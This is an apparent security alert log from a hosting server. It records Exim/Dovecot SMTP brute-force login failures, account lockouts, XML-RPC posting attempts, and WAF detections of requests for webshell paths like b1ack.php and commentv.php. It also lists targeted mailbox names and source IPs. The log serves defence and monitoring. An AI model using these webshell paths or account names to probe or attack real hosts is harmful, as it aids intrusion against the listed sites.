2026-01-31 22:15:14 dovecot_login authenticator failed for H=([182.95.119.30]) [182.95.119.30]:35882: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 22:16:03 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:50530: 535 Incorrect authentication data (set_id=testing@symphony-led.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.61.48.234
country_id: 1835841
description:
2026-01-31 22:16:35 dovecot_login authenticator failed for H=([125.61.48.234]) [125.61.48.234]:44721: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 157.230.37.176
country_id: 1880251
domain: www.oxbold.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-content/uploads/wpr-addons/forms/b1ack.php||SC:/home/oxboldc/public_html/wp-content||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:16:14 dovecot_login authenticator failed for H=(dWjayRLG) [185.169.4.188]:53726: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.154.202.101
country_id: 6252001
description:
2026-01-31 22:16:50 dovecot_login authenticator failed for H=([165.154.202.101]) [165.154.202.101]:28814: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:16:16 dovecot_login authenticator failed for H=(39HAN5) [178.16.54.138]:63363: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:16:23 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:23b11b2277287ac341671e728a191c550eadb916||Title:0x2342320f||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:17:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.189.226.81
country_id: 1835841
description:
2026-01-31 22:17:48 dovecot_login authenticator failed for H=([121.189.226.81]) [121.189.226.81]:48704: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:17:54 dovecot_login authenticator failed for H=(BUHkQ47) [185.169.4.188]:65497: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.223.36.108
country_id: 3932488
description:
2026-01-31 22:17:57 dovecot_login authenticator failed for H=([190.223.36.108]) [190.223.36.108]:46938: 535 Incorrect authentication data (set_id=marketing)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:17:07 dovecot_login authenticator failed for H=(GPmlfS2) [185.169.4.188]:59844: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:17:19 dovecot_login authenticator failed for H=(TYqBX6wyF) [178.16.54.138]:56756: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.177.3
country_id: 1814991
description:
2026-01-31 22:17:31 dovecot_login authenticator failed for H=([111.61.177.3]) [111.61.177.3]:44684: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 103.161.198.136
country_id: 1269750
domain: eminent.st
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:eminent.st.eminent.st||ServerName:eminent.st||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a135a35054d0776481d5cee692f153298006ea27||Title:0xefbfc787||RSV:7.71||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 172.213.25.189
country_id: 3175395
domain: vmsmotorsports.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/vmsadmin/public_html/wp-admin||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.31.80.222
country_id: 1814991
description:
2026-01-31 22:17:48 dovecot_login authenticator failed for H=([1.31.80.222]) [1.31.80.222]:46174: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:17:21 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:49532: 535 Incorrect authentication data (set_id=test@box.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:18:39 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 185.169.4.188


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.203.132.68
country_id: 2658434
domain: pftfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/commentv.php||SC:/home/pftfood/public_html/wp-admin/images/commentv.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:18:09 dovecot_login authenticator failed for H=(MtH2bq) [178.16.54.138]:64523: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:18:11 dovecot_login authenticator failed for H=(QYj8Rl) [185.169.4.188]:56899: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:18:02 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:58503: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:18:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:19:04 dovecot_login authenticator failed for H=(Np3kpi) [185.169.4.188]:63387: 535 Incorrect authentication data (set_id=yennymky)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:19:20 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.51.26.198
country_id: 1269750
description:
2026-01-31 22:19:40 dovecot_login authenticator failed for H=([103.51.26.198]) [103.51.26.198]:59740: 535 Incorrect authentication data (set_id=info@dsc-expat.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:19:02 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-01-31 22:19:54 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:59208: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:19:22 dovecot_login authenticator failed for H=(LdAHEyVjJU) [178.16.54.138]:60966: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.126.179
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=15631516685069 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:20:49 dovecot_login authenticator failed for H=(EanN0q) [185.169.4.188]:51872: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:20:18 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.21.241.50
country_id: 1814991
description:
2026-01-31 22:20:24 dovecot_login authenticator failed for H=([218.21.241.50]) [218.21.241.50]:53360: 535 Incorrect authentication data (set_id=support)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.203.132.68
country_id: 2658434
domain: pftfood.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/wp-admin/images/index.php||SC:/home/pftfood/public_html/wp-admin/images/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.87.152
country_id: 1814991
description:
2026-01-31 22:20:08 dovecot_login authenticator failed for H=([111.61.87.152]) [111.61.87.152]:30322: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:20:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yennymky has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:20:02 dovecot_login authenticator failed for H=(Rug5sjY) [185.169.4.188]:52865: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.89.51
country_id: 660013
description:
2026-01-31 22:20:41 dovecot_login authenticator failed for H=(ADMIN) [188.126.89.51]:27858: 535 Incorrect authentication data (set_id=dsc_team@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:20:13 dovecot_login authenticator failed for H=(KJRmNA0CD3) [178.16.54.138]:50042: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.88.160.13
country_id: 1814991
description:
2026-01-31 22:20:50 dovecot_login authenticator failed for H=([125.88.160.13]) [125.88.160.13]:51978: 535 Incorrect authentication data (set_id=amir@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:21:14 dovecot_login authenticator failed for H=(XPjUCZlbCp) [178.16.54.138]:61689: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 125.139.124.120
country_id: 1835841
description:
2026-01-31 22:21:20 dovecot_login authenticator failed for H=([125.139.124.120]) [125.139.124.120]:43634: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 110.25.103.200
country_id: 1668284
description:
2026-01-31 22:21:08 dovecot_login authenticator failed for H=110-25-103-200.adsl.fetnet.net [110.25.103.200]:36710: 535 Incorrect authentication data (set_id=amir)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:21:10 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:21:12 dovecot_login authenticator failed for H=(HleUeo4) [185.169.4.188]:58860: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 124.65.160.234
country_id: 1814991
description:
2026-01-31 22:22:29 dovecot_login authenticator failed for H=([124.65.160.234]) [124.65.160.234]:47647: 535 Incorrect authentication data (set_id=aziz@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 109.233.21.109
country_id: 272103
description:
2026-01-31 22:22:12 dovecot_login authenticator failed for H=([109.233.21.109]) [109.233.21.109]:39360: 535 Incorrect authentication data (set_id=ysl)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:22:19 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.73.109.194
country_id: 1269750
description:
2026-01-31 22:22:04 dovecot_login authenticator failed for H=([182.73.109.194]) [182.73.109.194]:44374: 535 Incorrect authentication data (set_id=ysl@ajplantations.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 64.89.160.15
country_id: 2635167
description:
2026-01-31 22:22:21 H=([64.89.160.15]) [64.89.160.15]:54550 F=<drdavid00r5@outlook.com> rejected RCPT <mustapa@astlog.com.my>: SPF: 64.89.160.15 is not allowed to send mail from outlook.com


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.188.187.85
country_id: 337996
description:
2026-01-31 22:22:37 dovecot_login authenticator failed for H=([196.188.187.85]) [196.188.187.85]:40366: 535 Incorrect authentication data (set_id=aziz)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:22:04 dovecot_login authenticator failed for H=(NFu1oWZ) [178.16.54.138]:60479: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:22:21 dovecot_login authenticator failed for H=(8NcwrC) [185.169.4.188]:49596: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:23:14 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:60157: 535 Incorrect authentication data (set_id=testing@box.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 200.106.49.149
country_id: 3932488
description:
2026-01-31 22:24:01 dovecot_login authenticator failed for H=([200.106.49.149]) [200.106.49.149]:56042: 535 Incorrect authentication data (set_id=support@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.194
country_id: 1269750
description:
2026-01-31 22:23:17 dovecot_login authenticator failed for H=(nsg-corporate-194.230.187.122.airtel.in) [122.187.230.194]:53862: 535 Incorrect authentication data (set_id=admin@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:23:10 dovecot_login authenticator failed for H=(wGCmB8vxs) [178.16.54.138]:64593: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:23:07 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim has been locked for the attacker IP 185.169.4.188


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:23:09 dovecot_login authenticator failed for H=(EotOFgsfa) [185.169.4.188]:50390: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 71.62.34.216
country_id: 6252001
description:
2026-01-31 22:23:58 dovecot_login authenticator failed for H=c-71-62-34-216.hsd1.va.comcast.net [71.62.34.216]:52618: 535 Incorrect authentication data (set_id=admin@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 23.132.164.25
country_id: 2635167
description:
2026-01-31 22:23:41 dovecot_login authenticator failed for H=(ADMIN) [23.132.164.25]:49425: 535 Incorrect authentication data (set_id=central@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.120.1.74
country_id: 6252001
description:
2026-01-31 22:24:22 dovecot_login authenticator failed for H=([70.120.1.74]) [70.120.1.74]:49853: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.177.179.12
country_id: 1668284
description:
2026-01-31 22:24:04 dovecot_login authenticator failed for H=(ADMIN) [213.177.179.12]:53822: 535 Incorrect authentication data (set_id=testing@sv3.nocser.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:24:18 dovecot_login authenticator failed for H=(zTfX0rv) [185.169.4.188]:58674: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:24:30 dovecot_login authenticator failed for H=(9TAJ7Kxm) [178.16.54.138]:55277: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-31 22:24:12 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:46053: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:24:19 dovecot_login authenticator failed for H=(ZfUjuyIfLN) [178.16.54.138]:60146: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:25:05 dovecot_login authenticator failed for H=(6myICZ7) [185.169.4.188]:61402: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:25:07 dovecot_login authenticator failed for H=(RDKneUlg) [178.16.54.138]:57133: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.225.203.106
country_id: 1814991
description:
2026-01-31 22:25:58 dovecot_login authenticator failed for H=([122.225.203.106]) [122.225.203.106]:44596: 535 Incorrect authentication data (set_id=mail.urban.myexport@urban.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.228.195.251
country_id: 1814991
description:
2026-01-31 22:26:06 dovecot_login authenticator failed for H=([116.228.195.251]) [116.228.195.251]:17168: 535 Incorrect authentication data (set_id=mail.urban.myexport)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.225.220
country_id: 1269750
description:
2026-01-31 22:26:33 dovecot_login authenticator failed for H=(nsg-corporate-220.225.187.122.airtel.in) [122.187.225.220]:35720: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-01-31 22:26:29 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:36362: 535 Incorrect authentication data (set_id=admin@dsc-expat.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-31 22:26:32 dovecot_login authenticator failed for H=54.126.103.87.rev.vodafone.pt [87.103.126.54]:7046: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.36.234.156
country_id: 1835841
description:
2026-01-31 22:26:55 dovecot_login authenticator failed for H=([118.36.234.156]) [118.36.234.156]:48534: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:26:07 dovecot_login authenticator failed for H=(ycIesFO9NG) [178.16.54.138]:64693: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.228.228
country_id: 1269750
description:
2026-01-31 22:26:32 dovecot_login authenticator failed for H=(nsg-corporate-228.228.187.122.airtel.in) [122.187.228.228]:34164: 535 Incorrect authentication data


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:26:05 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:26:16 dovecot_login authenticator failed for H=(YJzvtkyCx) [185.169.4.188]:54015: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 14.139.107.146
country_id: 1269750
description:
2026-01-31 22:26:35 dovecot_login authenticator failed for H=([14.139.107.146]) [14.139.107.146]:35944: 535 Incorrect authentication data (set_id=support@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.218.95.154
country_id: 6252001
description:
2026-01-31 22:26:47 dovecot_login authenticator failed for H=syn-074-218-095-154.biz.spectrum.com [74.218.95.154]:37666: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.169.82.194
country_id: 935317
description:
2026-01-31 22:26:48 dovecot_login authenticator failed for H=(165-169-82-194.zeop.re) [165.169.82.194]:34215: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-01-31 22:26:07 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:49040: 535 Incorrect authentication data (set_id=support@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 123.129.245.249
country_id: 1814991
description:
2026-01-31 22:26:42 dovecot_login authenticator failed for H=([123.129.245.249]) [123.129.245.249]:49681: 535 Incorrect authentication data (set_id=support@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 22:26:44 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:53167: 535 Incorrect authentication data (set_id=test@aircarbonic.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 213.209.159.77
country_id: 1668284
description:
2026-01-31 22:27:03 dovecot_login authenticator failed for H=(ADMIN) [213.209.159.77]:62837: 535 Incorrect authentication data (set_id=test@nexuscollection.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:27:27 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.255.50
country_id: 1269750
description:
2026-01-31 22:27:39 dovecot_login authenticator failed for H=([182.95.203.81]) [122.186.255.50]:46700: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:27:09 dovecot_login authenticator failed for H=(pz0xQrFk) [178.16.54.138]:58595: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.159.41.51
country_id: 2017370
description:
2026-01-31 22:27:14 dovecot_login authenticator failed for H=([178.159.41.51]) [178.159.41.51]:35266: 535 Incorrect authentication data (set_id=jobstore.comchew@nexuscollection.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:27:02 dovecot_login authenticator failed for H=(keP9TU) [185.169.4.188]:53838: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.255.209
country_id: 2542007
description:
2026-01-31 22:27:11 dovecot_login authenticator failed for H=([154.144.255.209]) [154.144.255.209]:44956: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-01-31 22:27:36 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:59035: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.144.243.93
country_id: 2542007
description:
2026-01-31 22:27:06 dovecot_login authenticator failed for H=([154.144.243.93]) [154.144.243.93]:60098: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.53.15.18
country_id: 2542007
description:
2026-01-31 22:27:16 dovecot_login authenticator failed for H=([102.53.15.18]) [102.53.15.18]:58727: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.160.29.241
country_id: 1835841
description:
2026-01-31 22:27:27 dovecot_login authenticator failed for H=([112.160.29.241]) [112.160.29.241]:57322: 535 Incorrect authentication data (set_id=jobstore.comchew)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.169.4.188
country_id: 2635167
description:
2026-01-31 22:28:10 dovecot_login authenticator failed for H=(yIKT7JhJU) [185.169.4.188]:64515: 535 Incorrect authentication data (set_id=yin-jian.lim)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.117.96.174
country_id: 3932488
description:
2026-01-31 22:28:49 dovecot_login authenticator failed for H=([190.117.96.174]) [190.117.96.174]:48154: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.247.159.106
country_id: 1269750
description:
2026-01-31 22:28:52 dovecot_login authenticator failed for H=([115.247.159.106]) [115.247.159.106]:41620: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 185.169.4.188
country_id: 2635167
description:
Jan 31 22:28:08 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account yin-jian.lim has been locked for the attacker IP 185.169.4.188


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 57.129.81.225
country_id: 2921044
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/img/img/img/demos/img/demos/img/photos/index.php||SC:/home2/pspolycom/public_html/img/img||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 50.235.31.47
country_id: 6252001
description:
2026-01-31 22:28:32 dovecot_login authenticator failed for H=(netmail.nasmhpd.org) [50.235.31.47]:41022: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:28:19 dovecot_login authenticator failed for H=(XuTHo0) [178.16.54.138]:56857: 535 Incorrect authentication data (set_id=miya@hmz.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.103.126.54
country_id: 2264397
description:
2026-01-31 22:28:40 dovecot_plain authenticator failed for H=54.126.103.87.rev.vodafone.pt (dencrece) [87.103.126.54]:23309: 535 Incorrect authentication data (set_id=garylee@autogreastar.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 178.16.54.138
country_id: 2750405
description:
Jan 31 22:28:17 sv3 auth[2797995]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account miya@hmz.com.my has been locked for the attacker IP 178.16.54.138


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 178.16.54.138
country_id: 2750405
description:
2026-01-31 22:28:28 dovecot_login authenticator failed for H=(XcV6ymj) [178.16.54.138]:59302: 535 Incorrect authentication data (set_id=fkr@fkr.com.my)


plugin: ossec
rule: 13001
